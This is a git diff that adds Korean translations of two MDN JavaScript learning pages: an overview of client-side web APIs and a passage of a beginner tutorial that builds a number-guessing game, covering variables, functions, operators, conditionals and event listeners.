new file mode 100644
index 0000000000..a02e2bc0c4
--- /dev/null
+++ b/files/ko/learn/javascript/client-side_web_apis/index.html
@@ -0,0 +1,37 @@
+---
+title: Client-side web APIs
+slug: Learn/JavaScript/Client-side_web_APIs
+translation_of: Learn/JavaScript/Client-side_web_APIs
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">웹 사이트 또는 응용 프로그램 용 client-side JavaScript를 작성할때 API (응용 프로그램 프로그래밍 인터페이스)를 사용하지 않으면 많은것을 만들기 어렵습니다. API는 사이트가 실행되고 있는 브라우저와 운영 체제의 다양한 부분 그리고 웹 사이트 혹은 서비스의 데이터를 다룰 수 있는 인터페이스입니다. 이번장에서 우리는 API가 무엇인지, 그리고 개발할 때 자주 접하게 될 보편적인 API를 사용하는 방법에 대해 살펴볼 것입니다.</p>
+
+<h2 id="선행사항">선행사항</h2>
+
+<p>다음의 문서를 미리 보고 오시는것을 권장합니다. (<a href="/ko/docs/Learn/JavaScript/First_steps">First steps</a>, <a href="/ko/docs/Learn/JavaScript/Building_blocks">Building blocks</a>, and <a href="/ko/docs/Learn/JavaScript/Objects">JavaScript objects</a>). 이 모듈은 클라이언트 측 JavaScript 예제를 사용하지 않고 유용하게 사용할 수 있기 때문에 간단한 API 사용법을 상당히 많이 사용합니다. 여기에서는 핵심 자바 스크립트 언어에 대한 지식이 있다고 가정하고 일반적인 웹 API를 좀 더 자세하게 살펴보면서 한 단계 올라갑니다. 이번장에서는 심플한 API사용방법을 여럿 보도록 하겠습니다. 이 API들은 client-side 자바스크립트를 만드는데 도움이 많이 될 것입니다.</p>
+
+<p><a href="/en-US/docs/Learn/HTML">HTM</a>과<a href="/en-US/docs/Learn/CSS">CSS</a>에 관한 기본지식이 있으면 좋습니다!</p>
+
+<div class="note">
+<p><strong>Note</strong>: 코드를 작성 할 수 없는 디바이스에서 작업하는 경우 <a href="http://jsbin.com/">JSBin</a> 또는 <a href="https://thimble.mozilla.org/">Thimble</a>.과 같은 온라인 코딩 프로그램에서 코드 예제를 시험해 볼 수 있습니다.</p>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Introduction to web APIs</a></dt>
+ <dd>우선, 높은 수준의 API를 먼저 살펴볼 것입니다. API는 무엇이며, 어떻게 작동하며, 코드에서 어떻게 사용하고 구조화되어 있는지 확인합니다. 또한 API의 다른 주요 클래스가 무엇인지, 그리고 용도가 무엇인지 살펴볼 것입니다.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulating documents</a></dt>
+ <dd>웹 페이지와 앱을 작성할 때 많이 하는 것중 하나는 웹 문서를 다루는 것입니다. 보통 {{domxref ( "Document")}} 객체를 많이 사용하는 HTML 및 스타일 정보를 제어하기위한 API 집합 인 DOM (Document Object Model)을 사용합니다. 여기서는 흥미로운 방식으로 환경을 변경할 수 있는 API와 함께 DOM을 사용하는 방법에 대해 자세히 설명합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a></dt>
+ <dd>최신 웹 사이트 및 응용 프로그램에서 필요한 작업중 하나는 완전히 새로운 페이지를 로드 할 필요없이 서버에서 개별 데이터를 가져와 웹 페이지의 일부분만 업데이트하는 것입니다. 이렇게 하면 사이트의 성능과 동작에 큰 영향을 줍니다. 여기서는 이 개념을 설명하고 {{domxref ( "XMLHttpRequest")}}나 <a href="https://developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a>와 같은 기술을 살펴 보겠습니다</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">Third party APIs</a></dt>
+ <dd>지금까지 살펴본 API는 브라우저에 내장되어 있지만 모든 API가 지원되지는 않습니다. 예를들면 Google Maps, Twitter, Facebook, PayPal 등과 같은 많은 대형 웹 사이트와 서비스가 있고 여기에는 개발자 자신의 데이터 (예 : 블로그에 트위터 스트림 표시) 또는 서비스 (예 : 사이트에 맞춤 Google지도 표시, Facebook 로그인을 사용하여 사용자 로그인)가 있습니다.여기서는 브라우저 API와 타사 API의 차이점을 살펴본 후 일반적인 API 사용법을 보겠습니다.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></dt>
+ <dd>브라우저에는 <a href="https://developer.mozilla.org/en-US/docs/Web/SVG">SVG</a> (Scalable Vector Graphics) 언어부터 HTML {{htmlelement ( "canvas")}} 요소 (<a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">The Canvas API</a> 및 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebGL_API">WebGL</a> 참조)를 그리는 데 필요한 API에 이르기까지 매우 강력한 그래픽 프로그래밍 도구가 포함되어 있습니다. 여기서는 Canvas API에 대한 소개와 더 많은 정보를 얻을 수있는 추가 자료를 제공합니다.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">Video and audio APIs</a></dt>
+ <dd>HTML5에는 문서 ({{htmlelement ( "video")}} 및 {{htmlelement ( "audio")}}에 미디어를 포함하기위한 요소가 포함되어 있으며 재생, 탐색 등을 제어하는 자체 API가 제공됩니다. 이문서에서는 사용자 커스텀 재생 컨트롤 만들기와 같은 일반적인 작업을 수행하는 방법을 보여줍니다.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Client-side storage</a></dt>
+ <dd>최신 웹 브라우저에는 웹 사이트와 관련된 데이터를 저장하고 필요할 때 검색하여 장기간 데이터를 유지하고 오프라인으로 사이트를 저장하는 등 다양한 기술을 사용할 수 있습니다. 이 기사에서는 이러한 작업 방식에 대한 기본적인 내용을 설명합니다.</dd>
+</dl>
diff --git a/files/ko/learn/javascript/first_steps/a_first_splash/index.html b/files/ko/learn/javascript/first_steps/a_first_splash/index.html
new file mode 100644
index 0000000000..fd29057f86
--- /dev/null
+++ b/files/ko/learn/javascript/first_steps/a_first_splash/index.html
@@ -0,0 +1,680 @@
+---
+title: 자바스크립트 기초
+slug: Learn/JavaScript/First_steps/A_first_splash
+translation_of: Learn/JavaScript/First_steps/A_first_splash
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary">이제 우리는 자바스크립트에 대한 이론적인 몇몇 부분을 살펴볼 것이다. 이곳에서 무엇을 할 수 있는지 실용적인 연습을 통한 자바스크립의 기본적 사항들을 다루는 과정이 되겠다. 하나하나씩 "숫자맞추기" 게임을 간단하게 구성해나갈 것이다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">알아야할 것들:</th>
+   <td>기본적인 컴퓨터 사용과 HTML CSS와 자바스크립트에 대해 알아야 함.</td>
+  </tr>
+  <tr>
+   <th scope="row">수업 목표:</th>
+   <td>자바스크립트로 코딩하는 것을 처음으로 알아보고 자바스크립트로 쓰여진 프로그램이 가지고 있는 특징들을 조금이라도 이해한다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>지금현재로서는 코드를 자세히 이해하려고 하지는 않을 것이다. 단지 지금은 넓게 개념을 이해하고, (다른 프로그래밍 언어를 포함해) 자바스크립트가 어떻게 운용되는지에 대한 아이디어가 필요하다. 자, 이제부터 자세한 부분에 대해 공부하고 알아보자!</p>
+
+<div class="note">
+<p>Note: 자바스크립트에서 보는 다양한 요소들은 여타 프로그래밍 언어와 거의 똑같다.(함수나 반복문 등)  언어마다 문법이 다를 뿐이지 개념은 넓은범위에서 보자면 일맥상통하다.</p>
+</div>
+
+<h2 id="프로그래머처럼_사고하기">프로그래머처럼 사고하기</h2>
+
+<p>프로그래밍에서 가장 어려운 것은 우리가 배우려고 하는 문법이 아닌, 어떻게 실생활의 문제를 프로그래밍으로 적용시킬까하는 문제이다. 이제부터는 프로그래머처럼 생각하는 것이 필요하다. 이는 일반적으로 프로그램이 필요한 부분과 어떻게 코드가 문제를 해결하기위해 작동되고, 협업해야 되는지에 대한 설명을 알고있어야 된다는 것이다.</p>
+
+<p>이는 프로그래밍 문법에 대한 경험과 노력, 그리고 창의성을 비롯한 노력의 조합이 필요하다. 코드를 많이 작성할수록 얻는 것은 더 많아질 것이다. 지금 당장 "프로그래머의 사고능력"으로 발전시킨다고는 보장하지는 못하지만, 이 수업을 통해 여러분들에게 프로그래머처럼 생각하는 많은 연습의 기회는 줄 수 있다.</p>
+
+<p>이러한 개념을 마음속에 품고, 앞으로 우리가 만들어나갈 예제를 한번 살펴보자. 여기서 실생활의 문제를 프로그래밍할 수 있도록 쪼개는 일반적인 과정을 볼 것이다.</p>
+
+<h2 id="예제-숫자맞추기">예제-숫자맞추기</h2>
+
+<p>아래 보이는 간단한 게임을 통해, 프로그램을 구성하는 방법을 알아볼 것이다.</p>
+
+<div class="hidden">
+<h6 id="Top_hidden_code">Top hidden code</h6>
+
+
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+
+&lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Number guessing game&lt;/title&gt;
+    &lt;style&gt;
+        html {
+            font-family: sans-serif;
+        }
+
+        body {
+            width: 50%;
+            max-width: 800px;
+            min-width: 480px;
+            margin: 0 auto;
+        }
+
+        .lastResult {
+            color: white;
+            padding: 3px;
+        }
+    &lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+    &lt;h1&gt;Number guessing game&lt;/h1&gt;
+    &lt;p&gt;We have selected a random number between 1 and 100. See if you can guess it in 10 turns or less. We'll tell you if your guess was too high or too low.&lt;/p&gt;
+    &lt;div class="form"&gt; &lt;label for="guessField"&gt;Enter a guess: &lt;/label&gt;&lt;input type="text" id="guessField" class="guessField"&gt; &lt;input type="submit" value="Submit guess" class="guessSubmit"&gt; &lt;/div&gt;
+    &lt;div class="resultParas"&gt;
+        &lt;p class="guesses"&gt;&lt;/p&gt;
+        &lt;p class="lastResult"&gt;&lt;/p&gt;
+        &lt;p class="lowOrHi"&gt;&lt;/p&gt;
+    &lt;/div&gt;
+&lt;/body&gt;
+&lt;script&gt;
+    // Your JavaScript goes here
+    var randomNumber = Math.floor(Math.random() * 100) + 1;
+    var guesses = document.querySelector('.guesses');
+    var lastResult = document.querySelector('.lastResult');
+    var lowOrHi = document.querySelector('.lowOrHi');
+    var guessSubmit = document.querySelector('.guessSubmit');
+    var guessField = document.querySelector('.guessField');
+    var guessCount = 1;
+    var resetButton;
+
+    function checkGuess() {
+      var userGuess = Number(guessField.value);
+      if (guessCount === 1) {
+        guesses.textContent = 'Previous guesses: ';
+      }
+
+      guesses.textContent += userGuess + ' ';
+
+      if (userGuess === randomNumber) {
+        lastResult.textContent = 'Congratulations! You got it right!';
+        lastResult.style.backgroundColor = 'green';
+        lowOrHi.textContent = '';
+        setGameOver();
+      } else if (guessCount === 10) {
+        lastResult.textContent = '!!!GAME OVER!!!';
+        lowOrHi.textContent = '';
+        setGameOver();
+      } else {
+        lastResult.textContent = 'Wrong!';
+        lastResult.style.backgroundColor = 'red';
+        if(userGuess &lt; randomNumber) {
+          lowOrHi.textContent='Last guess was too low!' ;
+        } else if(userGuess &gt; randomNumber) {
+          lowOrHi.textContent = 'Last guess was too high!';
+        }
+      }
+
+      guessCount++;
+      guessField.value = '';
+    }
+
+    guessSubmit.addEventListener('click', checkGuess);
+
+    function setGameOver() {
+      guessField.disabled = true;
+      guessSubmit.disabled = true;
+      resetButton = document.createElement('button');
+      resetButton.textContent = 'Start new game';
+      document.body.appendChild(resetButton);
+      resetButton.addEventListener('click', resetGame);
+    }
+
+    function resetGame() {
+      guessCount = 1;
+      var resetParas = document.querySelectorAll('.resultParas p');
+      for(var i = 0 ; i &lt; resetParas.length ; i++) {
+        resetParas[i].textContent='';
+      }
+
+      resetButton.parentNode.removeChild(resetButton);
+      guessField.disabled = false;
+      guessSubmit.disabled = false;
+      guessField.value='';
+      guessField.focus();
+      lastResult.style.backgroundColor='white';
+      randomNumber=Math.floor(Math.random() * 100) + 1;
+    }
+&lt;/script&gt;
+
+&lt;/html&gt;</pre>
+
+
+</div>
+
+<p>{{ EmbedLiveSample('Top_hidden_code', '100%', 320) }}</p>
+
+<p>한 번 실행해서 어떻게 이루어져 있는지 살펴보고 알아보자.</p>
+
+<p>만약 너의 상사가 예제에 관련되어 다음의 짦은 안내만 주어졌다고 생각해보자.</p>
+
+<blockquote>
+<p>나는 간단하게 숫자 맞추기 게임을 만들고 싶다.1과 100사의 수 중에서 무작위로 선택되어야하고, 플레이어는 10번의 기회안에 그 숫자를 맞춰야 한다. 각 순서마다 숫자를 맞춰는지 틀렸는지는 당연히 알려줘야 하고, 틀렸다면 큰지 작은지도 포함해서 말해야 한다.또한 이전에 써냈던 번호들도 보여줘야 한다. 게임은 플레이어가 숫자를 맞추던가, 기회를 모두 소진하면 끝나게 된다. 게임이 끝나면 플레이어가 다시 게임을 할 것인지 묻게된다.</p>
+</blockquote>
+
+<p>위의 안내문을 보고, 우선 문제를 가능한 한 작게 쪼개서 간단한 작업으로 만드는 것부터 시작하자.</p>
+
+<ol>
+ <li>1과 100사이의 숫자 중 무작위로 추출한다.</li>
+ <li>1부터 플레이어의 차례를 기록한다.</li>
+ <li>플레이어에게 숫자를 맞출 수 있게 한다.</li>
+ <li>숫자를 맞추면 어딘가에 저장하고, 사용자는 이전의 추측한 숫자를 볼 수 있도록 한다.</li>
+ <li>그다음, 숫자가 일치한지 확인한다.</li>
+ <li>만약 일치한다면:
+  <ol>
+   <li>축하 메시지를 표시한다.</li>
+   <li>더 이상 숫자를 맞출필요가 없다.</li>
+   <li>플레이어가 다시 게임을 할지 묻는다.</li>
+  </ol>
+ </li>
+ <li>숫자가 틀렸고, 차례가 남아있다면:
+  <ol>
+   <li>틀렸다고 알린다.</li>
+   <li>다른 숫자를 입력할 수 있도록 한다.</li>
+   <li>차례가 1 증가한다.</li>
+  </ol>
+ </li>
+ <li>숫자가 틀렸고, 차례가 없다면:
+  <ol>
+   <li>게임이 종료되었음을 알린다.</li>
+   <li>더 이상 숫자를 맞출필요가 없다..</li>
+   <li>플레이어가 다시 게임을 할지 묻는다.</li>
+  </ol>
+ </li>
+ <li>게임이 재시작 되면, 게임의 구조와 UI는 완전히 리셋되며, step1 부터 다시 로직이 시작된다.</li>
+</ol>
+
+<p>이제 다음 단계로 넘어가서 각 단계들을 코드로 어떻게 만들고, 예제 소스와 통합하며, 그와 관련된 자바 스크립트 기능은 무엇인지 살펴보도록 하겠다.</p>
+
+<h3 id="초기_구성">초기 구성</h3>
+
+<p>수업에 앞서, 로컬에 <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">number-guessing-game-start.html</a> 파일을 저장하길 바란다. (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">see it live here</a>). 그러고 파일을 에디터와 브라우저에서 동시에 열어보자.  간단하게 요약된 설명과 추측하는 폼을 볼 때, 아직 숫자를 입력하는 폼은 아무런 기능을 하지 않는다</p>
+
+<p>여러분들의 코드를 추가하는 부분은 HTML안의 {{htmlelement("script")}} 요소 사이에 있다. </p>
+
+<pre class="brush: html">&lt;script&gt;
+
+  // Your JavaScript goes here
+
+&lt;/script&gt;
+</pre>
+
+<h3 id="데이터_저장을_위한_변수_추가">데이터 저장을 위한 변수 추가</h3>
+
+<p>이제 시작해보자! 먼저 {{htmlelement("script")}} 태그안에 다음의 코드들을 추가하자.</p>
+
+<pre class="brush: js">var randomNumber = Math.floor(Math.random() * 100) + 1;
+
+var guesses = document.querySelector('.guesses');
+var lastResult = document.querySelector('.lastResult');
+var lowOrHi = document.querySelector('.lowOrHi');
+
+var guessSubmit = document.querySelector('.guessSubmit');
+var guessField = document.querySelector('.guessField');
+
+var guessCount = 1;
+var resetButton;</pre>
+
+<p>이 코드의 부분은 프로그램에서 사용될 데이터를 저장할 변수를 세팅해준다. 변수들은 기본적으로 값들을  저장하고 있다. (숫자나 문자열 등). 변수들은 var이라는 키워드를 변수의 이름앞에 붙여줌으로써 선언이된다.  변수 에 넣고자 하는 값 앞에 등호(=)를 통해 변수에 값을 지정할 수 있다.</p>
+
+<p>예제에서</p>
+
+<ul>
+ <li>첫번째 변수 <code>randomNumber</code>는 수학적 알고리즘을 통해 계산해 1과 100사이의 임의의 수를 지정한다 .</li>
+ <li>다음의 세 개의 변수들은 각각 HTML에서 결과 문장을 저장하는 기준으로 저장되고, 코드상에서 나중에 문장에 추가되도록 사용된다.
+  <pre class="brush: html">&lt;p class="guesses"&gt;&lt;/p&gt;
+&lt;p class="lastResult"&gt;&lt;/p&gt;
+&lt;p class="lowOrHi"&gt;&lt;/p&gt;</pre>
+ </li>
+ <li>다음의 2개 변수는 다음의 입력과 버튼을 받고, 추측된 값을 나중에 받도록 하는 역할을 한다.
+  <pre class="brush: html">&lt;label for="guessField"&gt;Enter a guess: &lt;/label&gt;&lt;input type="text" id="guessField" class="guessField"&gt;
+&lt;input type="submit" value="Submit guess" class="guessSubmit"&gt;</pre>
+ </li>
+ <li>마지막 2개의 변수에는 (얼마나 많은 추측을 했는지) 추측 개수와, 아직은 있지않은 버튼을 리셋하는 변수가 있다.</li>
+</ul>
+
+<div class="note">
+<p><strong>주의</strong>: 앞으로 변수에 대해서는 더 많이 배울 것이다. <a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/variables">next article</a>를 참고해보자.</p>
+</div>
+
+<h3 id="함수">함수</h3>
+
+<p>다음으로, 아래의 자바스크립트 코드를 추가하자.</p>
+
+<pre class="brush: js">function checkGuess() {
+  alert('I am a placeholder');
+}</pre>
+
+<p>함수는 재사용이 가능한 코드의 묶음으로 한 번만 명시하면 몇번이고 실행이 가능하여 전체적인 코드에서 반복을 줄일 수 있다 . 이는 매우 유용하다. 함수를 정의하는 방법에는 여러가지가 있지만, 일단 여기서는 가장 간단한 방법을 집중적으로 살펴볼 것이다. 앞에 <code>function</code>키워드를 사용하고, 함수의 이름을 작성하며, 함수의 이름 뒤에 괄호를 넣어줌으로서 함수를 정의할 수 있다.그러고 나서 중괄호로 묶어준다. 중괄호 안에는 함수가 호출되면 실행되는 반복적인 코드들이 들어있다.</p>
+
+<p>코드는 괄호 앞에 위치한 함수의 이름을 적음으로 실행된다.</p>
+
+<p>코드를 저장하고 브라우저에서 새로고침을 통해 실행해보자.</p>
+
+<p><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">developer tools JavaScript console</a>에 들어가서 다음의 문장을 입력해보자</p>
+
+<pre class="brush: js">checkGuess();</pre>
+
+<p>"I am a placeholder"라고 알리는 alert를 볼 수 있을 것이다. 여기서는 함수가 호출되면 alert가 생성되는 함수로 정의되어 있다.</p>
+
+<div class="note">
+<p><strong>Note</strong>:더 많은 함수에 대한 내용은 차후의 학습에서 볼 수 있을 것이다.</p>
+</div>
+
+<h3 id="연산자">연산자</h3>
+
+<p>자바스크립트의 연산자는 테스트를 진행하고, 수학적인 것을 다루고, 문자열을 결합하는 등의 것들을 가능케한다.</p>
+
+<p>다음의 코드를 저장하고 브라우저의 페이지에서 보이도록 새로고침 해보자. <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">개발자 도구 JavaScript 콘솔</a>을 열고 아래 표시된 에제를 입력 해보자. 표시된대로 정확히 입력하고 Return/Enter 키를 누른 후 어떤 결과가 반환되는지 보자. 브라우저 개발자 도구에 쉽게 액세스 할 수 없는 경우, 아래 표시된 간단한 콘솔을 사용 할 수 있다:</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;JavaScript console&lt;/title&gt;
+    &lt;style&gt;
+      * {
+        box-sizing: border-box;
+      }
+
+      html {
+        background-color: #0C323D;
+        color: #809089;
+        font-family: monospace;
+      }
+
+      body {
+        max-width: 700px;
+      }
+
+      p {
+        margin: 0;
+        width: 1%;
+        padding: 0 1%;
+        font-size: 16px;
+        line-height: 1.5;
+        float: left;
+      }
+
+      .input p {
+        margin-right: 1%;
+      }
+
+      .output p {
+        width: 100%;
+      }
+
+      .input input {
+        width: 96%;
+        float: left;
+        border: none;
+        font-size: 16px;
+        line-height: 1.5;
+        font-family: monospace;
+        padding: 0;
+        background: #0C323D;
+        color: #809089;
+      }
+
+      div {
+        clear: both;
+      }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+
+  &lt;/body&gt;
+
+  &lt;script&gt;
+    var geval = eval;
+
+    function createInput() {
+      var inputDiv = document.createElement('div');
+      var inputPara = document.createElement('p');
+      var inputForm = document.createElement('input');
+
+      inputDiv.setAttribute('class','input');
+      inputPara.textContent = '&gt;';
+      inputDiv.appendChild(inputPara);
+      inputDiv.appendChild(inputForm);
+      document.body.appendChild(inputDiv);
+      inputDiv.focus();
+
+      inputForm.addEventListener('change', executeCode);
+    }
+
+    function executeCode(e) {
+      try {
+        var result = geval(e.target.value);
+      } catch(e) {
+        var result = 'error — ' + e.message;
+      }
+
+      var outputDiv = document.createElement('div');
+      var outputPara = document.createElement('p');
+
+      outputDiv.setAttribute('class','output');
+      outputPara.textContent = 'Result: ' + result;
+      outputDiv.appendChild(outputPara);
+      document.body.appendChild(outputDiv);
+
+      e.target.disabled = true;
+      e.target.parentNode.style.opacity = '0.5';
+
+      createInput()
+    }
+
+    createInput();
+
+  &lt;/script&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 300) }}</p>
+
+<p>먼저 산술 연산자를 살펴보자.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">연산자</th>
+   <th scope="col">이름</th>
+   <th scope="col">예</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>+</code></td>
+   <td>더하기           </td>
+   <td><code>6 + 9</code></td>
+  </tr>
+  <tr>
+   <td><code>-</code></td>
+   <td>빼기</td>
+   <td><code>20 - 15</code></td>
+  </tr>
+  <tr>
+   <td><code>*</code></td>
+   <td>곱하기</td>
+   <td><code>3 * 7</code></td>
+  </tr>
+  <tr>
+   <td><code>/</code></td>
+   <td>나누기</td>
+   <td><code>10 / 5</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>또한 + 연산자는 문자열들을 서로 연결할때에도 사용된다.(이를 프로그래밍에서 '문자열접합'이라고 한다.) 다음 코드를 입력해보자.</p>
+
+<pre class="brush: js">var name = 'Bingo';
+name;
+var hello = ' says hello!';
+hello;
+var greeting = name + hello;
+greeting;</pre>
+
+<p>그리고 '복합 대입 연산자' 라고 불리는 소스를 간단하게 하는 연산자도 있다. 예를 들어, 단순히 새로운 문자열을 기존에 있는 문자열에 추가하고, 그 결과를 반환받는 일을 하고 있다면 다음 코드를 사용할 수 있다.</p>
+
+<pre class="brush: js">name += ' says hello!';</pre>
+
+<p>이 코드는 다음 코드와 같은 의미이다.</p>
+
+<pre class="brush: js">name = name + ' says hello!';</pre>
+
+<p>참/거짓을 판명할때 (조건문이 있을 때 — {{anch("Conditionals", "아래")}}를 참조하자) , 비교연산자를 사용한다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Operator</th>
+   <th scope="col">Name</th>
+   <th scope="col">Example</th>
+  </tr>
+  <tr>
+   <td><code>===</code></td>
+   <td>Strict equality (is it exactly the same?)</td>
+   <td><code>5 === 2 + 4</code></td>
+  </tr>
+  <tr>
+   <td><code>!==</code></td>
+   <td>Non-equality (is it not the same?)</td>
+   <td><code>'Chris' !== 'Ch' + 'ris'</code></td>
+  </tr>
+  <tr>
+   <td><code>&lt;</code></td>
+   <td>Less than</td>
+   <td><code>10 &lt; 6</code></td>
+  </tr>
+  <tr>
+   <td><code>&gt;</code></td>
+   <td>Greater than</td>
+   <td><code>10 &gt; 20</code></td>
+  </tr>
+ </thead>
+</table>
+
+<h3 id="조건문">조건문</h3>
+
+<p>함수가 반환되었을때, 자리표시자 메시지(Placeholder Message, 텍스트를 입력할 때 무엇을 입력해야되는지 알려주는 기능 - 역자)를 표시하지 않는 것이 더 좋을 것이라고 본다 . 우리는 사용자의 추측이 옳은지, 틀린지만 보고 적절하게 응답하도록만 할 것이다.</p>
+
+<p>이 시점에서 이제, 현재 checkGuess()함수를 다음과 같이 수정해보자.</p>
+
+<pre class="brush: js">function checkGuess() {
+  var userGuess = Number(guessField.value);
+  if (guessCount === 1) {
+    guesses.textContent = 'Previous guesses: ';
+  }
+  guesses.textContent += userGuess + ' ';
+
+  if (userGuess === randomNumber) {
+    lastResult.textContent = 'Congratulations! You got it right!';
+    lastResult.style.backgroundColor = 'green';
+    lowOrHi.textContent = '';
+    setGameOver();
+  } else if (guessCount === 10) {
+    lastResult.textContent = '!!!GAME OVER!!!';
+    setGameOver();
+  } else {
+    lastResult.textContent = 'Wrong!';
+    lastResult.style.backgroundColor = 'red';
+    if(userGuess &lt; randomNumber) {
+      lowOrHi.textContent = 'Last guess was too low!';
+    } else if(userGuess &gt; randomNumber) {
+      lowOrHi.textContent = 'Last guess was too high!';
+    }
+  }
+
+  guessCount++;
+  guessField.value = '';
+  guessField.focus();
+}</pre>
+
+<p>꽤 코드가 길다. 각 부분별로 이제 하나하나씩 파헤쳐보자!</p>
+
+<ul>
+ <li>2번 줄까지는 userGuess변수를 선언하고, 텍스트 필드에서 입력된 현재 값들을 변수의 값으로 지정한다. 여기서는 빌트인된 <code>Number()</code>메소드(값이 숫자라는 것을 알 수 있다.)로 실행된다.</li>
+ <li>그러고나서, 처음으로 조건문을 맞딱드린다. (3-5번 줄). 조건문 블록은 조건이 옳은지 그른지에 따라 선택적으로 코드가 실행된다. 함수와 비슷하나, 꼭 그렇지는 않다. 가장 간단한 조건문의 형태는 키워드 <code>if</code>를 사용하고, 괄호가 있고, 중괄호가 있다. 괄호안에는 조건이 삽입된다. 만약 조건문이 옳다면, 중괄호안의 코드들이 실행된다. 거짓이라면, 다음 코드로 넘어가게 된다. 이 코드에서 조건문은 <code>guessCount변수가 1인지 이다.</code> (즉, 현재 플레이어의 게임이 처음인지 아닌지를 판단하는 조건)</li>
+</ul>
+
+<pre class="brush: js">guessCount === 1</pre>
+
+<p>참이라면, guessess 변수의 텍스트는 "Previous guesses: "가 된다. 그렇지 않다면, 실행되지 않는다.</p>
+
+<ul>
+ <li>6번 줄에서는 현재의 userGuess 값에 마지막 guesses 문장을 추가하고, 끝에 공백을 더함으로서 각각의 추측한 수끼리 간격을 두고 보여진다.</li>
+ <li>다음 블록도 함번 살펴보자(8-24번 줄)
+  <ul>
+   <li>첫 <code>if(){ }</code> 는 처음에 지정한 <code>randomNumber</code>과 사용자가 추측한 값(<code>userGuess</code>)이 값은지 본다. 참이라고 계산되면, 플레이어는 숫자를 맞춘것이고 게임을 이기게 된다. 따라서 플레이어에게 초록색, 인포메이션 박스로 축하메시지를 보여주고, 게임을 더할지와 관련된 <code>setGameOver() </code>함수를 불러온다.</li>
+   <li>이제 <code>else if(){ }</code> 구조를 사용하여 다른 조건문을 추가하게 된다. 이 조건은 사용자가 마지막 순서인지를 계산한다. 참이라면 프로그램은 이전과 같은 블록을 실행한다. 대신 게임을 이기지는 않았기 때문에 축하메시지를 제외된다</li>
+   <li>마지막 블록은  (the <code>else { }</code>)로 앞선 두 개의 조건이 모두 거짓일 때 실행된다. (i.e. 숫자를 맞추지도 못하고 차례가 남았을 때). 이 경우, 틀렸음을 알려주고, 정답보다 숫자가 큰지 작은지도 계산하여 적절한 메시지를 표시하도록 한다.</li>
+  </ul>
+ </li>
+ <li>함수상의 마지막 3줄(26-28번 줄)은 다음 숫자 추측을 위한 것이다. guessCount 변수에 1을 더함으로, 사용자의 차례가 지나갔음을 안다. (<code>++</code>이란 증감연사자이다. - 1을 더함). 그리고 값에 상관없이 텍스트필드를 공란으로 만들고, 커서를 위치시키므로, 다음값이 입력될 수 있도록 한다.</li>
+</ul>
+
+<h3 id="이벤트">이벤트</h3>
+
+<p>여기서 우리는 <code>checkGuess()</code> 함수를 잘 구현해 보았지만, 아직 호출하지 않았기 때문에 아무런 역할을 하지 않는다. 실제로는  "Submit guess" 버튼이 눌러져야 호출받도록 할 것이므로, 이벤트를 사용해서 구현할 것이다. 이벤트란 버튼을 클릭하고, 페이지가 로딩되고, 비디오가 실행되는 등 코드가 실행되기 위한 응답으로 브라우저상에서 일어나는 액션이다. 이벤트가 발생하여 발생된 이벤트를 처리하는 것을 <strong>이벤트 리스너(event listeners)</strong>라 하고, 이벤트가 발생했을 때 실행되는 코드 블록을 <strong>이벤트 핸들러(event handlers)</strong>라고 한다.</p>
+
+<p><code>checkGuess()</code>함수의 중괄호가 끝난뒤, 다음의 코드를 추가해보자.</p>
+
+<pre class="brush: js">guessSubmit.addEventListener('click', checkGuess);</pre>
+
+<p><code>이는 guessSubmit</code> 버튼에 이벤트 리스너를 추가하는 과정이다. 두개의 입력(인수)를 가지는 <code>addEventListner</code>메소드이다. 문자열로서 클릭을 처리하는 이벤트이고, 이벤트가 발생했을 때 실행하고자 하는 코드는 <code>checkGuess()</code> 함수이다. 특히, {{domxref("EventTarget.addEventListener", "addEventListener()")}}안에서는 함수의 괄호가 필요없다는 것에 주의하자.</p>
+
